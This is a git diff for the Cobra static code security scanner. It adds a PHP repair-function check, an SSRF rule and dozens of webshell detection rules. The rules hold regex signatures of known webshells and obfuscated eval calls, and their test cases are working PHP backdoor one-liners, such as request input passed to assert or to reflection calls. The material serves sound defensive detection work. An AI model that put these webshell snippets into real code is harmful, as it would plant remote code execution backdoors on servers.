diff --git a/CHANGES.md b/CHANGES.md index ba8708f5..f6f09a75 100644 --- a/CHANGES.md +++ b/CHANGES.md @@ -3,6 +3,16 @@ Cobra Changelog Here you can see the full list of changes between each Cobra release. +Version 2.0.0-alpha.3 +--------------------- + +Released on Sep 07 2017 + +- 漏洞详情中增加CVI编号显示 #552 +- 支持非函数体预发解析(print/echo/eval/include)#551 +- 文件上传取消选择目录 +- 优化API文档 + Version 2.0.0-alpha.2 --------------------- diff --git a/cobra/__version__.py b/cobra/__version__.py index a5a44fb7..df73639c 100644 --- a/cobra/__version__.py +++ b/cobra/__version__.py @@ -7,7 +7,7 @@ __issue_page__ = 'https://github.com/wufeifei/cobra/issues/new' __python_version__ = sys.version.split()[0] __platform__ = platform.platform() -__version__ = '2.0.0-alpha.2' +__version__ = '2.0.0-alpha.3' __author__ = 'Feei' __author_email__ = 'feei@feei.cn' __license__ = 'MIT License' diff --git a/cobra/engine.py b/cobra/engine.py index 4aae64e7..8efa2bbf 100644 --- a/cobra/engine.py +++ b/cobra/engine.py @@ -522,7 +522,7 @@ def is_annotation(self): - Java: :return: boolean """ - match_result = re.findall(r"(#|\\\*|\/\/)+", self.code_content) + match_result = re.findall(r"^(#|\\\*|\/\/)+", self.code_content) # Skip detection only on match if self.is_match_only_rule(): return False @@ -620,13 +620,16 @@ def scan(self): if self.file_path[-3:].lower() == 'php': try: ast = CAST(self.rule_match, self.target_directory, self.file_path, self.line_number, self.code_content) + rule_repair = [] if self.rule_match_mode == const.mm_function_param_controllable: - rule_match = self.rule_match.strip('()').split('|') + rule_match = self.rule_match.strip('()').split('|') # 漏洞规则整理为列表 + if self.rule_repair is not None: + rule_repair = self.rule_repair.strip('()').split('|') # 修复规则整理为列表 logger.debug('[RULE_MATCH] {r}'.format(r=rule_match)) try: with open(self.file_path, 'r') as fi: code_contents = fi.read() - result = scan_parser(code_contents, rule_match, self.line_number) + result = scan_parser(code_contents, rule_match, self.line_number, rule_repair) logger.debug('[AST] [RET] {c}'.format(c=result)) if len(result) > 0: if result[0]['code'] == 1: # 函数参数可控 diff --git a/cobra/parser.py b/cobra/parser.py index f3dc3db3..7d17f481 100644 --- a/cobra/parser.py +++ b/cobra/parser.py @@ -18,6 +18,7 @@ with_line = True scan_results = [] # 结果存放列表初始化 +repairs = [] # 用于存放修复函数 def export(items): @@ -134,7 +135,7 @@ def get_binaryop_params(node): # 当为BinaryOp类型时,分别对left和righ if isinstance(node.right, php.Variable): params.append(node.right.name) - elif not isinstance(node.right, php.Variable) or not isinstance(node.left, php.Variable): # right不为变量时 + if not isinstance(node.right, php.Variable) or not isinstance(node.left, php.Variable): # right不为变量时 params_right = get_binaryop_deep_params(node.right, params) params_left = get_binaryop_deep_params(node.left, params) @@ -213,8 +214,10 @@ def is_repair(expr): :return: """ is_re = False # 是否修复,默认值是未修复 - if expr == 'escapeshellcmd': - is_re = True + for repair in repairs: + if expr == repair: + is_re = True + return is_re return is_re @@ -661,16 +664,19 @@ def analysis(nodes, vul_function, back_node, vul_lineo, function_params=None): back_node.append(node) -def scan_parser(code_content, sensitive_func, vul_lineno): +def scan_parser(code_content, sensitive_func, vul_lineno, repair): """ 开始检测函数 :param code_content: 要检测的文件内容 :param sensitive_func: 要检测的敏感函数,传入的为函数列表 :param vul_lineno: 漏洞函数所在行号 + :param repair: 对应漏洞的修复函数列表 :return: """ try: + global repairs global scan_results + repairs = repair scan_results = [] parser = make_parser() all_nodes = parser.parse(code_content, debug=False, lexer=lexer.clone(), tracking=with_line) diff --git a/docs/index.md b/docs/index.md index 2b23ce2b..fd68dc00 100644 --- a/docs/index.md +++ b/docs/index.md @@ -48,7 +48,8 @@ | 290 | LB | Logic Bug | 逻辑错误 | | 320 | VO | Variables Override | 变量覆盖漏洞 | | 350 | WF | Weak Function | 不安全的函数 | -| 355 | WE |Weak Encryption | 不安全的加密 | +| 355 | WE | Weak Encryption | 不安全的加密 | +| 360 | WS | WebShell | WebShell | | 970 | AV | Android Vulnerabilities | Android漏洞 | | 980 | IV | iOS Vulnerabilities | iOS漏洞 | | 999 | IC | Insecure Components| 引用了存在漏洞的三方组件(Maven/Pods/PIP/NPM) | diff --git a/docs/labels.md b/docs/labels.md index ac3216ae..4f481680 100644 --- a/docs/labels.md +++ b/docs/labels.md @@ -26,6 +26,7 @@ | 320 | VO | Variables Override | 变量覆盖漏洞 | | 350 | WF | Weak Function | 不安全的函数 | | 355 | WE |Weak Encryption | 不安全的加密 | +| 360 | WS | WebShell | WebShell | | 970 | AV | Android Vulnerabilities | Android漏洞 | | 980 | IV | iOS Vulnerabilities | iOS漏洞 | | 999 | IC | Insecure Components| 引用了存在漏洞的三方组件(Maven/Pods/PIP/NPM) | diff --git a/rules/CVI-120001.xml b/rules/CVI-120001.xml index b469bb70..b0abf7d7 100644 --- a/rules/CVI-120001.xml +++ b/rules/CVI-120001.xml @@ -7,20 +7,19 @@ ## 安全风险 - SSRF漏洞(Server-Side Request Forgery) ### 形成原理 @@ -42,7 +41,6 @@ curl_exec($ch); curl_close($ch); } - $url = $_GET['url']; curl($url); ``` diff --git a/rules/CVI-120002.xml b/rules/CVI-120002.xml index 6fa20fb0..d6484be8 100644 --- a/rules/CVI-120002.xml +++ b/rules/CVI-120002.xml @@ -6,12 +6,12 @@ diff --git a/rules/CVI-120003.xml b/rules/CVI-120003.xml index 9584d2c7..a2598623 100644 --- a/rules/CVI-120003.xml +++ b/rules/CVI-120003.xml @@ -3,7 +3,6 @@ - - + \ No newline at end of file diff --git a/rules/CVI-120004.xml b/rules/CVI-120004.xml new file mode 100644 index 00000000..eb12d7ae --- /dev/null +++ b/rules/CVI-120004.xml @@ -0,0 +1,35 @@ + + + + + + + + + + + ## 安全风险 + SSRF漏洞(Server-Side Request Forgery) + + ### 形成原理 + SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。 + + ### 风险 + 1、攻击者可以对外网、服务器所在内网、本地进行端口扫描,获取服务的banner信息。 + 2、攻击运行在内网或本地的应用程序。 + 3、对内网web应用进行指纹识别。 + 4、攻击内外网的web应用。 + 5、利用file协议读取本地文件等。 + + ## 修复方案 + 1. 限制协议为HTTP、HTTPS + 2. 限制请求域名白名单 + 3. 禁止30x跳转 + + + + + \ No newline at end of file diff --git a/rules/CVI-140001.xml b/rules/CVI-140001.xml index 6b76a9bb..31d244ca 100644 --- a/rules/CVI-140001.xml +++ b/rules/CVI-140001.xml @@ -1,5 +1,4 @@ - diff --git a/rules/CVI-140002.xml b/rules/CVI-140002.xml index 6be5dbfd..852d0d45 100644 --- a/rules/CVI-140002.xml +++ b/rules/CVI-140002.xml @@ -1,7 +1,6 @@ - - + diff --git a/rules/CVI-140003.xml b/rules/CVI-140003.xml index 0b3fe9dd..2ab2f550 100644 --- a/rules/CVI-140003.xml +++ b/rules/CVI-140003.xml @@ -3,7 +3,7 @@ - + diff --git a/rules/CVI-140004.xml b/rules/CVI-140004.xml deleted file mode 100644 index 45a1491d..00000000 --- a/rules/CVI-140004.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - - - - - - ## 安全风险 - 未过滤的URI和参数直接输出可导致XSS - - ## 修复方案 - 输出时进行过滤 - - - - - - - \ No newline at end of file diff --git a/rules/CVI-160001.xml b/rules/CVI-160001.xml index 5f92722e..1c99a3ab 100644 --- a/rules/CVI-160001.xml +++ b/rules/CVI-160001.xml @@ -1,5 +1,4 @@ - diff --git a/rules/CVI-160002.xml b/rules/CVI-160002.xml index 2afb0fb7..c5ccc049 100644 --- a/rules/CVI-160002.xml +++ b/rules/CVI-160002.xml @@ -9,7 +9,7 @@ - + - + + + + + + + + + + + + ## 安全风险 + + LDAP Injection + 允许进行LDAP查询 + 输入未进行过滤 ---> LDAP注入 + 这种威胁可以让攻击者能够从LADP树中提取到很多很重要的信息 + + ## 修复方案 + 对用户输入数据中包含的”语言本身的保留字符”进行转义(例如可以使用`ldap_escape`) + + + + + + diff --git a/rules/CVI-167001.xml b/rules/CVI-167001.xml index 9e1d2a1f..353c9147 100644 --- a/rules/CVI-167001.xml +++ b/rules/CVI-167001.xml @@ -7,17 +7,13 @@ ]]> ]]> @@ -42,18 +38,15 @@ ## 举例 ```php - ``` 修改后代码 ```php - + ``` diff --git a/rules/CVI-180001.xml b/rules/CVI-180001.xml index 4b0969cb..676ab446 100644 --- a/rules/CVI-180001.xml +++ b/rules/CVI-180001.xml @@ -2,7 +2,7 @@ - + diff --git a/rules/CVI-180002.xml b/rules/CVI-180002.xml deleted file mode 100644 index 155dff4b..00000000 --- a/rules/CVI-180002.xml +++ /dev/null @@ -1,24 +0,0 @@ - - - - - - - - - ## 安全风险 - 一句话导致远程代码执行 - - ## 修复方案 - 删除 - - - - - - - - - - - \ No newline at end of file diff --git a/rules/CVI-181001.xml b/rules/CVI-181001.xml index 0386083d..a2b8bde5 100644 --- a/rules/CVI-181001.xml +++ b/rules/CVI-181001.xml @@ -3,7 +3,7 @@ - + diff --git a/rules/CVI-200002.xml b/rules/CVI-200002.xml index 509dc52f..0b076633 100644 --- a/rules/CVI-200002.xml +++ b/rules/CVI-200002.xml @@ -1,10 +1,12 @@ - + + + ## 安全风险 uniqid基于时间戳生成的,属于伪随机生成器,不建议使用。 @@ -12,9 +14,6 @@ ## 修复方案 使用random替代 - - - \ No newline at end of file diff --git a/rules/CVI-210001.xml b/rules/CVI-210001.xml index 8068757c..c93be764 100644 --- a/rules/CVI-210001.xml +++ b/rules/CVI-210001.xml @@ -3,6 +3,7 @@ + @@ -25,7 +26,6 @@ 4. 设置URL跳转白名单。 5. 当用户跳转离开时,强制跳转到警告页面上,提示用户正在离开当前网站。 - ## 修复方案 使用白名单判断 ```php diff --git a/rules/CVI-260001.xml b/rules/CVI-260001.xml index 3f6f06de..fdc5186f 100644 --- a/rules/CVI-260001.xml +++ b/rules/CVI-260001.xml @@ -2,14 +2,12 @@ - + ]]> diff --git a/rules/CVI-320002.xml b/rules/CVI-320002.xml index 189c78b5..18e4335e 100644 --- a/rules/CVI-320002.xml +++ b/rules/CVI-320002.xml @@ -3,7 +3,7 @@ - + @@ -18,12 +18,12 @@ ## 举例 ```php - + ``` 构造 http://www.test.com/test.php?a=1时,会打印出true diff --git a/rules/CVI-350001.xml b/rules/CVI-350001.xml index 4383a693..b3f39240 100644 --- a/rules/CVI-350001.xml +++ b/rules/CVI-350001.xml @@ -3,7 +3,7 @@ - + + + + + + + + + + + + + ## 安全风险 + 代码中存在webshell + + ## 修复方案 + 删除 + + + + diff --git a/rules/CVI-360002.xml b/rules/CVI-360002.xml new file mode 100644 index 00000000..fb6a1eea --- /dev/null +++ b/rules/CVI-360002.xml @@ -0,0 +1,19 @@ + + + + + + + + + + + ## 安全风险 + 代码中存在webshell + + ## 修复方案 + 删除 + + + + diff --git a/rules/CVI-360003.xml b/rules/CVI-360003.xml new file mode 100644 index 00000000..f3cc59f4 --- /dev/null +++ b/rules/CVI-360003.xml @@ -0,0 +1,19 @@ + + + + + + + + + + + ## 安全风险 + 代码中存在webshell + + ## 修复方案 + 删除 + + + + \ No newline at end of file diff --git a/rules/CVI-360004.xml b/rules/CVI-360004.xml new file mode 100644 index 00000000..57f5a512 --- /dev/null +++ b/rules/CVI-360004.xml @@ -0,0 +1,19 @@ + + + + + + + + + + + ## 安全风险 + 代码中存在webshell + + ## 修复方案 + 删除 + + + + \ No newline at end of file diff --git a/rules/CVI-360005.xml b/rules/CVI-360005.xml new file mode 100644 index 00000000..4b1f8e7e --- /dev/null +++ b/rules/CVI-360005.xml @@ -0,0 +1,19 @@ + + + + + + + + + + + ## 安全风险 + 代码中存在webshell + + ## 修复方案 + 删除 + + + + \ No newline at end of file diff --git a/rules/CVI-360006.xml b/rules/CVI-360006.xml new file mode 100644 index 00000000..6ee6b053 --- /dev/null +++ b/rules/CVI-360006.xml @@ -0,0 +1,19 @@ + + + + + + + + + + + ## 安全风险 + 代码中存在webshell + + ## 修复方案 + 删除 + + + + diff --git a/rules/CVI-360007.xml b/rules/CVI-360007.xml new file mode 100644 index 00000000..af9e60a1 --- /dev/null +++ b/rules/CVI-360007.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + ## 安全风险 + 代码中存在webshell + + ## 修复方案 + 删除 + + + + \ No newline at end of file diff --git a/rules/CVI-360008.xml b/rules/CVI-360008.xml new file mode 100644 index 00000000..2524f03a --- /dev/null +++ b/rules/CVI-360008.xml @@ -0,0 +1,22 @@ + + + + + + + + + + + ## 安全风险 + 代码中存在webshell + + ## 修复方案 + 删除 + + + + diff --git a/rules/CVI-360009.xml b/rules/CVI-360009.xml new file mode 100644 index 00000000..aa311c3e --- /dev/null +++ b/rules/CVI-360009.xml @@ -0,0 +1,22 @@ + + + + + \s*createFunction)\s*\(+\s*.{1,100}|PDO::FETCH_FUNC\s*),\s*(['\"]\s*(eval|assert|ass\\x65rt|system|exec|shell_exec|passthru|popen|proc_open|pcntl_exec)\s*['\"]|(base64_decode|gzinflate|gzuncompress|gzdecode|str_rot13)[\s\(]+.{1,25}|(\$_(GET|POST|REQUEST|COOKIE).{0,25}))\s*\)]]> + + + createFunction('myfunc', $_POST['e']); + ]]> + + + ## 安全风险 + 代码中存在webshell + + ## 修复方案 + 删除 + + + + diff --git a/rules/CVI-360010.xml b/rules/CVI-360010.xml new file mode 100644 index 00000000..274fff85 --- /dev/null +++ b/rules/CVI-360010.xml @@ -0,0 +1,26 @@ + + + + + \s*createFunction)\s*\(+[^,]*(\$)?[^,]*|PDO::FETCH_FUNC\s*),\s*(\$\s*\1\s*\)|((base64_decode|gzinflate|gzuncompress|gzdecode|str_rot13)[\s\(]*\$\s*\1))]]> + + + createFunction('myfunc', $e); + $stmt = $db->prepare("SELECT myfunc(?)"); + $stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT); + $stmt->execute(); + ]]> + + + ## 安全风险 + 代码中存在webshell + + ## 修复方案 + 删除 + + + + \ No newline at end of file diff --git a/rules/CVI-360011.xml b/rules/CVI-360011.xml new file mode 100644 index 00000000..d3aff203 --- /dev/null +++ b/rules/CVI-360011.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + ## 安全风险 + 代码中存在webshell + + ## 修复方案 + 删除 + + + + + diff --git a/rules/CVI-360012.xml b/rules/CVI-360012.xml new file mode 100644 index 00000000..04118bcb --- /dev/null +++ b/rules/CVI-360012.xml @@ -0,0 +1,24 @@ + + + + + + + + + + + ## 安全风险 + 代码中存在webshell + + [webshell样例](https://github.com/tennc/webshell/blob/4ca96011884b892ec15de130f76eb2a047b77493/php/b374k/b374k-2.4.poly.php) + + ## 修复方案 + 删除 + + + + \ No newline at end of file diff --git a/rules/CVI-360013.xml b/rules/CVI-360013.xml new file mode 100644 index 00000000..e088828c --- /dev/null +++ b/rules/CVI-360013.xml @@ -0,0 +1,19 @@ + + + + + + + + + + + ## 安全风险 + 代码中存在webshell + + ## 修复方案 + 删除 + + + + \ No newline at end of file diff --git a/rules/CVI-360014.xml b/rules/CVI-360014.xml new file mode 100644 index 00000000..463c4bf4 --- /dev/null +++ b/rules/CVI-360014.xml @@ -0,0 +1,19 @@ + + + + + + + + + + + ## 安全风险 + 代码中存在webshell + + ## 修复方案 + 删除 + + + + \ No newline at end of file diff --git a/rules/CVI-360016.xml b/rules/CVI-360016.xml new file mode 100644 index 00000000..0daa4f57 --- /dev/null +++ b/rules/CVI-360016.xml @@ -0,0 +1,20 @@ + + + + + + + + 'assert'));]]> + $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));]]> + + + ## 安全风险 + 代码中存在webshell + + ## 修复方案 + 删除 + + + + \ No newline at end of file diff --git a/rules/CVI-360017.xml b/rules/CVI-360017.xml new file mode 100644 index 00000000..72325724 --- /dev/null +++ b/rules/CVI-360017.xml @@ -0,0 +1,22 @@ + + + + + + + + 'assert'); + filter_var($_REQUEST['pass'], FILTER_CALLBACK, $op); + ]]> + + + ## 安全风险 + 代码中存在webshell + + ## 修复方案 + 删除 + + + + \ No newline at end of file diff --git a/rules/CVI-360018.xml b/rules/CVI-360018.xml new file mode 100644 index 00000000..ae017365 --- /dev/null +++ b/rules/CVI-360018.xml @@ -0,0 +1,19 @@ + + + + + + + + + + + ## 安全风险 + 代码中存在webshell + + ## 修复方案 + 删除 + + + + \ No newline at end of file diff --git a/rules/CVI-360019.xml b/rules/CVI-360019.xml new file mode 100644 index 00000000..6d8df0af --- /dev/null +++ b/rules/CVI-360019.xml @@ -0,0 +1,22 @@ + + + + + + + + + + + ## 安全风险 + 代码中存在webshell + + ## 修复方案 + 删除 + + + + \ No newline at end of file diff --git a/rules/CVI-360020.xml b/rules/CVI-360020.xml new file mode 100644 index 00000000..d3104888 --- /dev/null +++ b/rules/CVI-360020.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + ## 安全风险 + 代码中存在webshell + + ## 修复方案 + 删除 + + + + \ No newline at end of file diff --git a/rules/CVI-360021.xml b/rules/CVI-360021.xml new file mode 100644 index 00000000..9d194db6 --- /dev/null +++ b/rules/CVI-360021.xml @@ -0,0 +1,19 @@ + + + + + + + + + + + ## 安全风险 + 代码中存在webshell + + ## 修复方案 + 删除 + + + + \ No newline at end of file diff --git a/rules/CVI-360022.xml b/rules/CVI-360022.xml new file mode 100644 index 00000000..c5bf35b3 --- /dev/null +++ b/rules/CVI-360022.xml @@ -0,0 +1,22 @@ + + + + + + + + + + + ## 安全风险 + 代码中存在webshell + + ## 修复方案 + 删除 + + + + \ No newline at end of file diff --git a/rules/CVI-360026.xml b/rules/CVI-360026.xml new file mode 100644 index 00000000..e8d8ef15 --- /dev/null +++ b/rules/CVI-360026.xml @@ -0,0 +1,36 @@ + + + + + + + + + + + + + ## 安全风险 + 代码中存在webshell + + ## 修复方案 + 删除 + + + + \ No newline at end of file diff --git a/rules/CVI-360027.xml b/rules/CVI-360027.xml new file mode 100644 index 00000000..8a1c8ae4 --- /dev/null +++ b/rules/CVI-360027.xml @@ -0,0 +1,19 @@ + + + + + + + + + + + ## 安全风险 + 代码中存在webshell + + ## 修复方案 + 删除 + + + + \ No newline at end of file diff --git a/rules/CVI-360028.xml b/rules/CVI-360028.xml new file mode 100644 index 00000000..62c80c0d --- /dev/null +++ b/rules/CVI-360028.xml @@ -0,0 +1,22 @@ + + + + + \"\.|gzinflate\(base64_decode\(|eval\(base64_decode\(|cat\s*/etc/passwd|Safe_Mode\s*Bypass]]> + + + + + + + ## 安全风险 + 代码中存在webshell + + ## 修复方案 + 删除 + + + + \ No newline at end of file diff --git a/rules/CVI-360029.xml b/rules/CVI-360029.xml new file mode 100644 index 00000000..c9bf22ca --- /dev/null +++ b/rules/CVI-360029.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + ## 安全风险 + 代码中存在webshell + + 特征 `$bind_pl="IyEvdXNyL2Jpbi9lbnYgcGV` 对应webshell样例 + [link](https://github.com/tennc/webshell/blob/4ca96011884b892ec15de130f76eb2a047b77493/web-malware-collection-13-06-2012/PHP/knullsh.txt) + + 特征 `python_eval("import os\nos.system(` 对应webshell样例 + [link](https://github.com/tennc/webshell/blob/4ca96011884b892ec15de130f76eb2a047b77493/web-malware-collection-13-06-2012/PHP/bdotw44shell.txt) + + ## 修复方案 + 删除 + + + + \ No newline at end of file diff --git a/rules/CVI-360030.xml b/rules/CVI-360030.xml new file mode 100644 index 00000000..1b554b4d --- /dev/null +++ b/rules/CVI-360030.xml @@ -0,0 +1,24 @@ + + + + + + + + + + + ## 安全风险 + 代码中存在webshell + + 特征 `$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU2` 对应webshell样例 + [link](https://github.com/tennc/webshell/blob/4ca96011884b892ec15de130f76eb2a047b77493/138shell/N/NIX%20REMOTE%20WEB-SHELL%20v.0.5%20alpha%20Lite%20Public%20Version.txt) + + ## 修复方案 + 删除 + + + + \ No newline at end of file diff --git a/rules/CVI-360031.xml b/rules/CVI-360031.xml new file mode 100644 index 00000000..779dd9f7 --- /dev/null +++ b/rules/CVI-360031.xml @@ -0,0 +1,30 @@ + + + + + \s*array\s*\(\s*['\"]\s*pipe\s*['\"]|gzuncompress\(base64_decode\(|crypt\(\$_SERVER\['HTTP_H0ST'\],\d+\)==|if\(file_exists\(\$settings\['STOPFILE'\]\)\)]]> + + + + + + ## 安全风险 + 代码中存在webshell + + 特征 `gzuncompress\(base64_decode` 对应webshell样例 + [link](https://github.com/tennc/webshell/blob/4ca96011884b892ec15de130f76eb2a047b77493/php/BNKQbAKQ.txt) + + ## 修复方案 + 删除 + + + + \ No newline at end of file diff --git a/rules/CVI-360032.xml b/rules/CVI-360032.xml new file mode 100644 index 00000000..cf5f9d23 --- /dev/null +++ b/rules/CVI-360032.xml @@ -0,0 +1,24 @@ + + + + + Safes\s*Mode\s*Shell|Siyanur\.PHP\s*|c999shexit\(\)|\$c99sh_|c99_sess_put\(|Coded\s*by\s*cyb3r|cyb3r_getupdate\(|coded\s*by\s*tjomi4|john\.barker446@gmail\.com|eval\(\"\\\$x=gzin\"|eval\(\"\?>\"\.gzinflate\(base64_decode\(|eval\(gzinflate\(base64_decode\(|eval\(gzuncompress\(base64_decode\(|eval\(gzinflate\(str_rot13\(base64_decode\(|function_exists\(\"zigetwar_buff_prepare\"\)|dQ99shell|r57shell|c99shell|lama's'hell\s*v|Carbylamine\s*PHP\s*Encoder|Safe\s*Mode\s*Shell|\$dI3h=\${'_REQUEST'};|new\s*COM\(\"IIS://localhost/w3svc\"\)|n57http-based\[\s*-\]terminal|Dosya\s*Olu|errorlog\(\"BACKEND:\s*startReDuh,|form\s*name=sh311Form|PHPJackal
|Reddragonfly's\s*WebShell|\(\"system\"==\$seletefunc\)\?system\(\$shellcmd\)|eNrsvGmT40iSKPZ5xmz|CrystalShell\s*v\.|Special\s*99\s*Shell|Simple\s*PHP\s*Mysql\s*client|'_de'\.'code'|phpsocks5_encrypt\(|define\('PHPSHELL_VERSION',|ZXZhbCgkX1BPU1RbMV0p|\$__H_H\(\$__C_C"]]>
+ + +

'.sh_name().'

.: r57.biz Dq99Shell :. + ]]>
+
+ + ## 安全风险 + 代码中存在webshell + + 特征 `dQ99shell` 对应webshell样例 + [link](https://github.com/tennc/webshell/blob/4ca96011884b892ec15de130f76eb2a047b77493/www-7jyewu-cn/%E5%9B%BD%E5%A4%96%E5%85%8D%E6%9D%80PHP%E5%A4%A7%E9%A9%AC_%E6%9C%AA%E7%BF%BB%E8%AF%91.php) + + ## 修复方案 + 删除 + + + +
\ No newline at end of file diff --git a/rules/CVI-360033.xml b/rules/CVI-360033.xml new file mode 100644 index 00000000..ccac7a18 --- /dev/null +++ b/rules/CVI-360033.xml @@ -0,0 +1,43 @@ + + + + + |define\('envlpass',|KingDefacer_getupdate\(|relative2absolute\(|Host:\s*old.zone-h.org|

PHPKonsole

|\$_SESSION\['hassubdirs'\]\[\$treeroot\]|strtolower\(\$cmd\)\s*==\s*\"canirun\"|\$shell\s*=\s*'uname\s*-a;\s*w;\s*id;|Avrasya\s*Veri\s*ve\s*NetWork|

Linux Shells

|\$MyShellVersion\s*=\s*\"MyShell|PHP\s*Shell\s*[^\n\r]*|\$OOO000000=urldecode|1MSSYowqjzlVVAwAoHHFXzQ5Lc|'xiaoqiwangluo'|EqQC1FhyXxpEi7l2g\+yNjW62S|\$_uU\(83\)\.\$_uU\(84\)|7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8|\s*ARS\s*Terminator\s*Shell|base64_decode\(\"R0lGODdhEgASAKEAAO7u7gAAAJmZmQAAACwAAA|\\x50\\x4b\\x03\\x04\\x0a\\x00\\x00\\x00\\x00|'W3D\s*Shell]]></match> + <level value="7"/> + <test> + <case assert="true"><![CDATA[ + $shver = "Emp3ror Undetectable #18"; //Current version + //CONFIGURATION AND SETTINGS + if (!empty($unset_surl)) {setcookie("N3tsh_surl"); $surl = "";} + elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("N3tsh_surl",$surl);} + else {$surl = $_REQUEST["N3tsh_surl"]; //Set this cookie for manual SURL + } + ]]></case> + <case assert="true"><![CDATA[ + function Tihuan_Auto($tp,$tt,$th,$tca,$tcb,$td,$tb) + { + if(($h_d = @opendir($tp)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + .... + } + ]]></case> + </test> + <solution> + ## 安全风险 + 代码中存在webshell + + 特征 `setcookie("N3tsh_surl");` 对应webshell样例 + [link](https://github.com/tennc/webshell/blob/e2fd7eed0ca27430af65862bdcefd4bc268805f2/web-malware-collection-13-06-2012/PHP/c99.txt) + + 特征 `function Tihuan_Auto` 对应webshell样例 + [link](https://github.com/tennc/webshell/blob/4ca96011884b892ec15de130f76eb2a047b77493/php/ghost_source.php) + + 特征 `http://www.7jyewu.cn/` 对应webshell样例 + [link](https://github.com/tennc/webshell/blob/4ca96011884b892ec15de130f76eb2a047b77493/www-7jyewu-cn/DOC_ZIBSZXBIEG.php) + + ## 修复方案 + 删除 + </solution> + <status value="on"/> + <author name="Feei" email="feei@feei.cn"/> +</cobra> \ No newline at end of file diff --git a/rules/CVI-360034.xml b/rules/CVI-360034.xml new file mode 100644 index 00000000..ef937b79 --- /dev/null +++ b/rules/CVI-360034.xml @@ -0,0 +1,33 @@ +<?xml version="1.0" encoding="UTF-8"?> +<cobra document="https://github.com/wufeifei/cobra"> + <name value="webshell34"/> + <language value="php"/> + <match mode="regex-only-match"><![CDATA[\$(\w+)[\s]*\=[\s]*\$_(?:POST|GET|REQUEST|COOKIE|SERVER).{0,25}[\s\S]*\$(?:\1\(\s*\$_(?:POST|GET|REQUEST|COOKIE|SERVER).{0,25}\s*\)|(\w+)\s*\=\s*\$_(?:POST|GET|REQUEST|COOKIE|SERVER).{0,25}[\s\S]*\$(\1\(\s*\$\2|\2\(\s*\$\1)\s*\)|_(?:POST|GET|REQUEST|COOKIE|SERVER).{0,25}\(\s*\$\1\s*\))|\$_(?:POST|GET|REQUEST|COOKIE|SERVER)\[(['\"]\w+['\"]|\d+)\]\(\s*\$_(?:POST|GET|REQUEST|COOKIE|SERVER)\[(['\"]\w+['\"]|\d+)\]\s*]]></match> + <level value="7"/> + <test> + <case assert="true"><![CDATA[$_POST['sa']($_POST['sb']);]]></case> + <case assert="true"><![CDATA[$_POST['sa']($_POST['sb'],$_POST['sc']);]]></case> + <case assert="true"><![CDATA[ + $sa = $_POST['sa']; + $sa($_POST['sb']); + ]]></case> + <case assert="true"><![CDATA[ + $sa = $_POST['sa']; + $sb = $_POST['sb']; + $sa($sb); + ]]></case> + <case assert="true"><![CDATA[ + $sa = $_POST['sa']; + $_POST($sa ); + ]]></case> + </test> + <solution> + ## 安全风险 + 代码中存在webshell + + ## 修复方案 + 删除 + </solution> + <status value="on"/> + <author name="Feei" email="feei@feei.cn"/> +</cobra> \ No newline at end of file diff --git a/rules/CVI-360035.xml b/rules/CVI-360035.xml new file mode 100644 index 00000000..9ac1a218 --- /dev/null +++ b/rules/CVI-360035.xml @@ -0,0 +1,35 @@ +<?xml version="1.0" encoding="UTF-8"?> +<cobra document="https://github.com/wufeifei/cobra"> + <name value="webshell35"/> + <language value="php"/> + <match mode="regex-only-match"><![CDATA[(new\s*ReflectionFunction|new\s*ArrayObject[\s\S]*->u[ak]sort)\s*\(+\s*(['\"]\s*(eval|assert|ass\\x65rt|system|exec|shell_exec|passthru|popen|proc_open|pcntl_exec|[^'\"]*\x).{0,200}|(\$_(GET|POST|REQUEST|COOKIE)\[[^,;\)]{0,250}\)))]]></match> + <level value="7"/> + <test> + <case assert="true"><![CDATA[ + $arr = new ArrayObject(array('test', $_REQUEST['pass'])); + $arr->uasort('assert'); + ]]></case> + <case assert="true"><![CDATA[ + $arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2)); + $arr->uksort('assert'); + ]]></case> + <case assert="true"><![CDATA[ + $func = new ReflectionFunction("system"); + echo $func->invokeArgs(array("$_GET[c]")); + ]]></case> + <case assert="true"><![CDATA[ + $func = new ReflectionFunction($_GET[m]); + echo $func->invokeArgs(array($_GET[c],$_GET[id])); + ]]></case> + </test> + <solution> + ## 安全风险 + 代码中存在webshell + [webshell样例](https://github.com/tennc/webshell/blob/master/php/p2j/PHP%20reflection.php.txt) + + ## 修复方案 + 删除 + </solution> + <status value="on"/> + <author name="Feei" email="feei@feei.cn"/> +</cobra> \ No newline at end of file diff --git a/rules/CVI-360036.xml b/rules/CVI-360036.xml new file mode 100644 index 00000000..890ad34d --- /dev/null +++ b/rules/CVI-360036.xml @@ -0,0 +1,23 @@ +<?xml version="1.0" encoding="UTF-8"?> +<cobra document="https://github.com/wufeifei/cobra"> + <name value="webshell36"/> + <language value="php"/> + <match mode="regex-only-match"><![CDATA[\$\s*(\w+)\s*=[\s\(\{]*((\$_(GET|POST|REQUEST|COOKIE|SERVER).{0,25})|['\"]\s*(eval|assert|ass\\x65rt|system|exec|shell_exec|passthru|popen|proc_open|pcntl_exec))[\s\S]{0,200}\b(new\s*ReflectionFunction|new\s*ArrayObject[\s\S]*->u[ak]sort)\b\s*\(+\s*(\$\s*\1|((base64_decode|gzinflate|gzuncompress|gzdecode|str_rot13)[\s\(]*\$\s*\1))]]></match> + <level value="7"/> + <test> + <case assert="true"><![CDATA[ + $a = 'assert'; + $arr = new ArrayObject(array('test', $_REQUEST['pass'])); + $arr->uasort($a); + ]]></case> + </test> + <solution> + ## 安全风险 + 代码中存在webshell + + ## 修复方案 + 删除 + </solution> + <status value="on"/> + <author name="Feei" email="feei@feei.cn"/> +</cobra> diff --git a/rules/CVI-360037.xml b/rules/CVI-360037.xml new file mode 100644 index 00000000..db28b4e8 --- 